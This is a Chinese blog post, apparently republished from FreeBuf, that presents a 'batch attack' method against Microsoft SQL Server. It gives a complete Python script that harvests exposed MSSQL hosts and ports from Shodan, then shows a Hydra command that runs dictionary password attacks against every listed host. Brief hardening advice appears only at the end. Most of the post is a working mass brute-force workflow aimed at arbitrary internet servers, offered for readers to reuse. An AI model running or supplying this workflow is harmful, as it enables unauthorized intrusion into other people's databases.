python攻击服务器_基于ShodanPython库的批量攻击实践

拜读了xiaix关于Shodan的全面介绍:《Shodan新手入坑指南》,受益匪浅。SQL Server的弱口令入侵案例层出不穷,利用工具也大量存在,本文以MSSQL服务器为切入点,以解决批量目标发现为目标,介绍了一种基于Shodan Python库的攻击方法。希望能给有类似需求的同学提供参考。

0x01 基本思路

首先利用Shodan的Python库获取并实时处理MSSQL服务器IP及1434端口Banner,得到IP和MSSQL连接端口的组合列表;然后利用Hydra进行字典口令攻击。SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。    —— 百度百科-1433端口

0x02 实现脚本

实现过程详见脚本中的注释# -- coding:utf-8 --

# Python v2.7.10

# MSSQL.py

# Written by Gaearrow

import shodan

import sys

# API_KEY

API_KEY = "YOUR_API_KEY"

query = "product:\"Microsoft SQL Server\""

# 处理输入

if len(sys.argv) != 3:

print

print 'Usage: MSSQL.py '

sys.exit(1)

pagestart = int(sys.argv[1])

pageend = int(sys.argv[2])

try:

# 初始化输出文件

ofilename = 'page'+str(pagestart)+'to'+str(pageend)

ofilesrc = ofilename+'_src.txt'

ofileip = ofilename+'_ip.txt'

fsrc = open(ofilesrc,'w')

fip = open(ofileip,'w')

# 统计变量

numofport = 0

numofnoport = 0

rstlist = 0

# 逐页检索

api = shodan.Shodan(API_KEY)

rsttotal = api.count(query)

maxpage = (rsttotal['total']+99)/100

if pageend > maxpage:

pageend = maxpage

for page in range(pagestart,pageend+1):

result = api.search(query,page)

for mssql in result['matches']:

# 从Banner中解析MSSQL的连接端口

## 删除换行

ip = mssql['ip_str'].strip('\n')

## Ignore IPv6

if len(ip) > 15:

continue

## 跳过特殊字符

banner = mssql['data'][3:]

## 检查Banner

if banner.find('ServerName') < 0:

continue

pos = banner.find('tcp;')

if pos > 0:

strlist = banner[pos:].split(';')

if strlist[1].find('np') < 0:

### tcp;1234;np;..

ipport = ip+':'+strlist[1]

numofport = numofport + 1

else:

### tcp;np;..

ipport = ip+":1433"

numofnoport = numofnoport + 1

else:

### no 'tcp;'

ipport = ip+":1433"

numofnoport = numofnoport + 1

print >>fip,ipport

print >>fsrc,mssql['ip_str']

print >>fsrc,mssql['data'][3:]

rstlist = rstlist + 1

# 打印统计信息

print >>fsrc,'==================================='

print >>fsrc,'Shodan Summary Information'

print >>fsrc,'Query : ', query

print >>fsrc,'Total Results : ', rsttotal['total']

print >>fsrc,'List  Results : ', rstlist

print >>fsrc,'Page  Start   : ', pagestart

print >>fsrc,'Page  End     : ', pageend

print >>fsrc,'Port  Assigned   : ',numofport

print >>fsrc,'Port  Unassigned : ',numofnoport

print >>fsrc,'==================================='

except Exception as e:

print 'Error: %s' % e

sys.exit(1)

fsrc.close()

fip.close()

0x03 执行示例

执行环境root@kali2:~/app/mssqlnew# uname -a

Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux

root@kali2:~/app/mssqlnew# python -V

Python 2.7.9

获取地址端口组合列表root@kali2:~/app/mssqlnew# python MSSQL.py 1 10

page1to10_src.txt

page1to10_ip.txt

hydra字典攻击

攻击耗时及成功率与用户、口令字典有紧密关系,网络带宽也影响速度。root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql

0x04 安全建议

设置MSSQL仅限本地连接

修改MSSQL的默认连接端口

分级配置各类数据库用户权限

*本文作者:gaearrow,转载请注明来自FreeBuf.COM

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值